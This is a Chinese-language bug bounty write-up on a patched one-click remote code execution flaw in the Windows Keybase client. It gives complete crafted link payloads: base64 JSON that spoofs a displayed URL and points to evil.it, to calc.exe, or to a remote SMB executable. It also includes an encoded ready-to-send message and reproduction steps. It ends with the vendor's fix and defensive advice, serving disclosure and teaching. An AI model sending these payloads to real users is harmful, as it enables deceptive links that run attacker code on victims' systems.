Bug Bounty:Keybase一键式RCE
字数 1088 2025-08-25 22:58:55
Keybase 一键式 RCE 漏洞分析与利用教学
漏洞概述
Keybase 客户端存在一个远程代码执行(RCE)漏洞,攻击者可以通过发送特制的聊天消息,诱骗受害者点击看似无害的链接,从而在受害者系统上执行任意命令。该漏洞主要影响Windows平台的Keybase客户端。
漏洞背景
Keybase简介
Keybase是一个加密的聊天和文件共享平台,具有以下特点:
- 所有通信内容都经过加密
- 提供云同步私人文件功能
- 经过NCC Group的安全审计
- 内置加密货币(Lumens/XLM)功能
漏洞发现过程
研究人员在日常使用中发现Keybase对特定格式的链接处理存在异常,经过深入分析后确认了RCE漏洞的存在。
漏洞技术细节
初始发现
研究人员发现当在聊天消息中用反引号包裹电子邮件地址时:
`email@domain.tld`
Keybase会将其转换为:
$>kb$eyJ0eXAiOjUsIm1haWx0byI6eyJkaXNwbGF5IjoiZW1haWxAZG9tYWluLnRsZCIsInVybCI6Im1haWx0bzplbWFpbEBkb21haW4udGxkIiwicHVueWNvZGUiOiIifX0=$<kb$
解码base64部分得到JSON结构:
{
"typ": 5,
"mailto": {
"display": "email@domain.tld",
"url": "mailto:email@domain.tld",
"punycode": ""
}
}
漏洞利用原理
通过构造特殊格式的链接,可以实现URL欺骗和RCE:
-
URL欺骗:
{ "typ": 4, "link": { "display": "http://shielder.it", "url": "http://evil.it", "punycode": "" } }用户看到的是
http://shielder.it,实际访问的是http://evil.it -
RCE利用:
- 使用本地文件路径:
{ "typ": 4, "link": { "display": "http://shielder.it", "url": "C:\\windows\\system32\\calc.exe", "punycode": "" } } - 使用SMB共享路径:
{ "typ": 4, "link": { "display": "http://shielder.it", "url": "\\\\1.3.3.7\\tmp\\a.exe", "punycode": "" } }
- 使用本地文件路径:
最佳利用点 - Lumens支付请求
Keybase的Lumens支付功能允许设置自定义消息,这是漏洞利用的理想位置:
- 创建支付请求
- 在自定义消息中嵌入恶意构造的链接
- 受害者点击链接即触发RCE
漏洞复现步骤
-
构造恶意JSON payload:
{ "typ": 4, "link": { "display": "http://trusted-site.com", "url": "C:\\windows\\system32\\calc.exe", "punycode": "" } } -
将payload进行base64编码:
eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly90cnVzdGVkLXNpdGUuY29tIiwidXJsIjoiQzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjYWxjLmV4ZSIsInB1bnljb2RlIjoiIn19 -
构建最终消息格式:
$>kb$eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly90cnVzdGVkLXNpdGUuY29tIiwidXJsIjoiQzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjYWxjLmV4ZSIsInB1bnljb2RlIjoiIn19$<kb$ -
通过Keybase聊天或支付请求发送该消息
-
受害者看到的是
http://trusted-site.com,点击后实际执行calc.exe
修复方案
Keybase采取了以下修复措施:
- 移除了
display字段,不再允许自定义显示文本 - 对
url字段进行严格验证:- 如果不是以
http://或https://开头,自动添加http://前缀 - 防止使用本地文件路径或SMB路径
- 如果不是以
防御建议
-
对于Keybase用户:
- 及时更新到最新版本
- 谨慎点击聊天中的链接,特别是支付请求中的链接
-
对于开发者:
- 实现URL处理时应严格验证和过滤
- 避免使用用户提供的未经验证的数据构造可执行路径
- 考虑实施点击链接前的警告提示
总结
该漏洞展示了即使是在经过安全审计的加密通信平台中,简单的URL处理不当也可能导致严重的RCE漏洞。攻击者可以利用此漏洞通过社交工程手段诱骗用户点击恶意链接,从而完全控制受害者的系统。这强调了在客户端应用程序中实施严格输入验证的重要性。